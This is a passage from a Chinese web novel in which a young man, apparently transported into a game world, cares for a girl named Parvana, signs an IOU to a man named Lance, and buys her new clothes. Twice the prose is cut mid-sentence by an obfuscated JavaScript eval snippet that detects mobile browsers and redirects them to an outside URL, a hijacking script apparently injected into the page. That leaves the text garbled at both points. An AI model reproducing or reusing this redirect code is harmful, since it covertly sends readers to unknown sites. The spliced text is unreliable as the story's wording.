说出这个单词的一瞬间,帕尔瓦娜瞳孔放大,攥着吊坠的手猛地用力,“你都知道了?” 周祈点了点头,“……嗯。” 听到肯定的回答,帕尔瓦娜心里最后一丝侥幸也消失了,记忆尽头那道柔和的嗓音开始在她耳边回响。 -孩子,你记得,一定、一定不可以让别人知道你是…你是…… …… 都知道了。 她守护了这么多年的、从未有人知晓的秘密,现在,这个人全都知道了。 不知道为什么,周祈总觉得帕尔瓦娜刚刚熄灭的杀意再次死灰复燃。 他猜想女孩或许在为自己知道她曾经亲手杀死那个“兄长”的事而介怀,便在单人床的边沿蹲下,同时竖起三根指头,“帕尔瓦娜,我一定不会把这件事说出去,我会帮你保守秘密的,你不相信的话,我可以发誓。” 女孩脸上的神情在几秒时间内变了又变,最后露出一抹僵硬的冷笑,“你现在是不是觉得我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15418474|168914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个异类?” 他摆了摆手,“没有没有,我没有把你当异类,我知道你也是迫不得已,这不是你的错。” 女孩没有再说话,只是用一种复杂的眼神看着他。 “帕尔瓦娜。” 周祈将手扒在床边,抬眼与女孩对视,“以前的事都过去了,我向你保证,今后我会努力让你过上正常人的生活。你、你愿意相信我吗?” 帕尔瓦娜依旧没有说话,她注视着青年上下开合的双唇,却没有心情将那些注定是谎言的话语听进耳中。 相信他吗? 不,不可能的。 她是一个被世界、被命运抛弃了的人,所有人都会离她而去,这个人也不会是例外。 但是,不知道是出于何种原因,她竟然没有立刻否定他。 而且,她甚至想知道他的名字。 由于一直没有得到回应,青年叹了口气,对她说,“当然,如果你实在不愿意,我会想办法抹去你身上的敕印,还你自由……” 帕尔瓦娜在这时打断青年的低语,“告诉我,你的名字。” 他好像没料会听到这个问题,先是抬起头,愣了两秒后才开口,“……周祈。” 周祈。 帕尔瓦娜在心里将这个发音重复了一遍。 “你如果不会念的话可以直接叫我K……” 青年的话还没说完,帕尔瓦娜松开宝石吊坠,将自己的手贴在他抓着床沿的手背上,“周祈,冷。” 名叫周祈的青年又怔愣了片刻,接着手忙脚乱地站起身,试探着问,“冷吗?那要不然我躺在你边上给你取暖,怎么样?你放心,我绝对不会离你很近。” 帕尔瓦娜轻轻点了点头,周祈便还像刚才那样,半靠半坐在床头,紧紧握着女孩冰冷的双手。 他把被子全部给了帕尔瓦娜,自己身上盖着兰斯的皮夹克。 “所以,你是答应我了吗?”他问。 帕尔瓦娜没有回答,他又说,“你不说话的话,我可就要当作你默认了啊。” 他捏了捏女孩的手指,“我和他们讲,你是我妹妹,如果有人问起来,别说漏嘴了。” …… 帕尔瓦娜冷声道,“你救我,因为我像你妹妹。” 青年沉默了一下,才有些恍惚道,“啊,是啊。” “但现在你知道了,我根本不是。” 青年又沉默了,这一次停顿的时间更长,他好像不准备再开口,帕尔瓦娜不得不叫他的名字来提醒他。 “……周祈。” “……啊!”他猛地睁开眼睛,随后用略带歉疚的语气道,“抱歉,帕尔,我有点困了,我们可以之后再聊吗?不过,我向你保证,我不会抛弃你……” …… 他可能真的是太累了,说完这句话后,竟然就那样靠在床头,用一个别扭的姿势睡着了。 帕尔瓦娜的心不受控制地坠落下去。 她松开青年的手,支起上半身去看他,视线停留在他刀刻般的眉眼上,久久不曾离去。 帕尔瓦娜知道,这个人只是把她当作了死去妹妹的替身,甚至在知道了她最大的秘密后依旧不曾改变想法。 他对她好,并不是因为她值得,只是因为这副皮囊。 她很讨厌这个人。 但她暂时没有与这个人分道扬镳的想法。 或许是因为她对他拥有一种奇怪的欲望,她想要去窥视他,想要剥开他的表皮,看清楚他血肉的每一处细节,想要驱散笼罩在这个男人身上的那一层厚重的迷雾。 她甚至,并不抵触与这个人发生肢体接触。 青年的体温有一种致命的魔力,吸引着帕尔瓦娜向他身边靠近。 她用双手环住青年的胳膊,更加仔细地感受他的体温。 她选择留下,因为她知道自己不会被虚情假意蒙蔽。 她一定要看看这个骗子什么时候会揭下他虚伪的面具。 而在此之前,她要把他囚禁在自己身边,给他套上项圈,戴上枷锁,让他永远无法逃离。 【序幕完】 21. 海城霓虹(一) 周祈打开门就遇上了那个叫兰斯的金发青年。 他看向周祈的目光中满是审视,脸上仍旧是那副拽出天际的表情,“你洗干净了还挺人模人样的。” …… 这话说的,完全听不出来是在夸人…… 周祈回应他一个礼貌的微笑,又指了指自己上的外套,“你的衣服我会清理干净之后再还给你。” “不用。”兰斯露出一个嫌恶的表情,“我有洁癖,被人穿过的衣服我绝对不会再穿,那件衣服我不要了。” 周祈有些受不了这个的表情和语气,还是强忍着保持微笑,“……那好吧,还是要说声谢谢。” 兰斯冲他摊开手掌,“谢就不用了,衣服的钱和住宿费、医药费一起给我就行。” 周祈怔住,一时有些反应不过来,“……什么?” “旅馆的费用,还有詹姆斯医生的诊金,都是我替你垫付的。” “你?” 周祈有些不敢相信,他会有这么好心? 兰斯挑了挑眉,递给周祈一个“那不然呢”的眼神,“单人间住一晚是5弗洛金,詹姆斯夜间上门的费用、他给你妹妹用的那些药物,加起来6弗洛金,我这件外套穿了两年,折旧之后按2弗洛金算,一共是……” 他稍微停顿了一下,再开口时声量莫名弱了几分,“13弗洛金。” “13弗洛金?” 听到数字的那一刻,周祈的心脏都颤了一下。他极力控制自己的语调,尽量让自己看起来没有那么激动,却还是忍不住发出一声惊呼。 弗洛金是普路托所有国家或城市的通用货币,因为最先由弗洛利加银行发行而得名。 游戏论坛中曾有人专门计算过弗洛金和现实世界货币之间的汇率,经过那位老哥一系列考证、换算,最终得出1弗洛金约等于现实世界中120美元的结论。 也就是说,他在这个狭窄昏暗、热水时有时无、连窗户都没有的房间住了一晚上,就花掉了几千块钱人民币? 怎么不去抢呢? 要知道,普路托大陆一个普通工人的年收入也只是在四百五十弗洛金左右。 不对吧,游戏里的物价水平没有这么夸张啊?像这种小镇上的旅馆,一晚上最多两弗洛金就够的…… 周祈盯着金发青年棱角分明的脸庞看了几秒,甚至有些怀疑对方是在趁机敲诈。 但他仔细想想,又觉得不至于,如果兰斯真是那样的人,那他就该把山谷到旅馆的路费也算上。 而且这人的态度虽然不那么友善,但他也从未阻止尼森向自己伸出援手。 想到这里,周祈咳嗽了两下,道,“兰斯先生,我的随身物品都被山匪抢走了,所以我现在没办法还你钱。等我们到了弗洛利加,我找到那位亲友的住处之后,一定把钱还给你。” “好啊,那你给我写张欠条。”兰斯说,“而且我是要收利息的,九出十三归。” …… 周祈深吸一口气,努力保持微笑,“好的,既然这样,你可以多借给我一些钱吗?” 兰斯显然没想到周祈会再次向自己借钱,他皱起眉头,“你要再借多少?” “一百弗洛金。” 金发青年稍作思考,最终给予肯定的答复,“行。” 他从自己的房间中拿出一张便签纸,连带着钢笔和一张百元大钞一起递给周祈,“写欠条,现在就写。” 周祈有些佩服青年惊人的效率,他接过兰斯递来的东西,和他一起坐在旅馆一楼休息区的桌子前,一笔一划地在纸上写着:今日,向兰斯先生借款113弗洛金。 “今天是几几年几月几号来着?” 兰斯翻了个白眼,“普路托历1902年9月11日。” 1902年…… 周祈默默计算着,他清楚地记得,游戏剧情开始于普路托历1912年,也就是说,现在的时间点在游戏主线开始的十年前? 十年之间的物价起伏变化这么大的吗? 他对5弗洛金一晚的单人间耿耿于怀,在心里碎碎念着。 “记得还有利息要还,要不你直接写上吧,你一共要还我……” 兰斯用手指头敲击着桌面,片刻后,他斩钉截铁道,“一百三十弗洛金。” 周祈看着他,“……九出十三归是这么算的吗?” “不、不是吗?” 听到周祈的质疑,兰斯的脸瞬间变成红色,接着又变白,然后又变红,像极了一盏闪烁的红灯。 他攥紧拳头,嘴唇微微抽动着好像是在口算,但算了半天似乎也没算明白。 最终,他自暴自弃一样抢过那张便签纸,在上面写下一个巨大的“130”。 “我是债权人,我说你还130你就还130,听懂了吗?” “……行。” 周祈重新拿回欠条,在借款人之后写下一个“K”。 兰斯端详着那个字母,发出一声嗤笑,“K?K什么?克里斯?凯尔?” “我叫周祈。” “什么?”兰斯以为自己听错了,他尝试着重复周祈刚刚的发音,但他的舌头都快在嘴里炒两个菜了,还是无法正确的模仿出来。 “你就没有个像样点的名字吗?算了,还是叫你K好了。” 金发青年嫌弃地摆了摆手,从旅馆前台借来印泥摁过手印后,他将那张欠条整整齐齐地叠好,收了起来。 - 车队吃过午饭才会出发,周祈趁着空当出了门,准备去小镇上的百货商店一趟,给自己和帕尔瓦娜置办新衣服。 刚走出旅馆,冷空气从四面八方扑了上来,他不禁裹紧了自己用2弗洛金买来的外套,在寒风中瑟瑟发抖。 九月是“落叶的季节”,相当于现实世界的秋季,但外面没有一点秋高气爽的感觉,反而有种凛冬将至的意味。 《无光密界》和现实世界一样分为十二个月份,四个季节,只是他们的一年是固定的三百六十天,固定的每个月三十天。 并且这个世界的白天和黑夜之间有着明显的分界线,天亮和天黑的时刻恒定不变。 这种感觉就像是云层之上存在一个携带着白天黑夜的轮转装置,程序员为它设计好自动程序,按一下开关,“啪”,天亮了,再按一下,天又黑了。 这让周祈非常迷茫,他不知道自己来到的究竟是由数据组成的虚拟世界,还是类似平行时空概念的“异世界”。 而且,他不知道自己还能不能回去,回到自己的世界去。 想到这里,他将皮外套裹得更紧。 天空笼着一层混沌的灰,光线艰难地在其中穿行,即使已经早上九点半,街上的行人还是纷纷拿着手电筒照明。 周祈走得很慢,半个小时后才到达百货商店 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15418475|168914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 绿泉镇靠近弗洛利加,但也只是个小城镇,商店中的衣服款式一点也不新潮,女装大多是老旧的沙漏型繁复大裙子,而男装…… 那玩意儿几百年间都没有太大变化吧…… 男女装之间的差异还体现在价格上,周祈用7弗洛金买齐了自己的全套行头,长款风衣外套、毛线背心、衬衫、灯笼裤、长靴,外加购买套装送的一双手套和袜子。 但他仅仅是给帕尔瓦娜买一件稍微厚实一点的大衣就花了10弗洛金,更不用提那些里三层外三层的配搭。 考虑到帕尔瓦娜大病初愈,如果不裹得严实点,病情极有可能反复,周祈仅仅纠结了两秒钟,就将那件大衣放进了手提框中。 外套买了件好的,其余的自然也不能差,毕竟主控穿得像个人就行,但自己家的NPC必须换身好看的外观。 周祈从百货商店的工作人员手中接过大大小小的袋子,以及零碎的47弗洛金纸钞,心里没有一点心疼,反而有种莫名其妙的愉悦感。 嘿嘿,可以给帕尔瓦娜换新皮肤了…… 这可是他从隔着电脑屏幕看她时就一直想干的事。 ** 周祈另外采购了包括背包、保温水杯、手帕、毛毯在内的一系列生活物品,又去了隔壁药店买了些常用药物。 走出百货商店时,他兜里只剩下三十弗洛金的纸钞和两个面值一弗洛金的钢镚。 他提着大包小包回到旅馆,帕尔瓦娜却没有和想象中那样,听他的话乖乖换上新衣服。 她提溜着那件白色的羊毛大衣,细长的眉毛拧成一团,“我不穿。” 周祈还在把荷叶边针织衫、格纹半身裙、米白色加绒衬裙一件一件往外拿,听见女孩的话后,他手上的动作凝固了片刻,“为什么?是款式不喜欢吗?” 应该不会吧? 周祈自认为审美没有那么差劲,而且他有参考售货员女士的建议,选择的都是畅销款,还不至于到被女孩嫌弃的程度。 帕尔瓦娜看着他,发出一声冷笑,“你不是都知道了吗?” 知道了?我知道什么了? 周祈眨了眨眼,尝试理解女孩话中的深意。 他很快回想起昨晚在帕尔瓦娜回忆中看到的“秘密”,想起在她过去的生命中从未停止的“猎杀”。 来自同伴的刀锋随时随地都有可能划伤衣服,血迹、灰尘、泥土几乎一刻也不曾修女服的裙摆上离开。 所以,是因为这几件衣服的颜色太浅,帕尔瓦娜担心会把它们弄脏才拒绝的吗? 嗯……应该还有她从未穿过除修女服之外的衣服,心理上抗拒新事物的原因在。 既然这样,一定要鼓励她勇敢尝试。 周祈走到帕尔瓦娜身边,把手里的白色圆顶小帽戴在她头上,“可是我觉得白色很适合你。” 他说着,又拿起那条浅咖色的格裙,“而且,你穿这个一定很好看,当然,你本身就很好看,我的意思是,它们会把你衬托得更加美丽。” 女孩冷冷地看着周祈,“无论我穿什么都不可能变成你妹妹的。” 这里面怎么还有我妹妹的事? 周祈不太明白,解释道,“我只是觉得你穿上这身衣服会很好看。” 帕尔瓦娜看了看周祈,又看了看他手里的那条半身裙,紧锁的眉头仍没有放松,“你喜欢看我穿裙子?”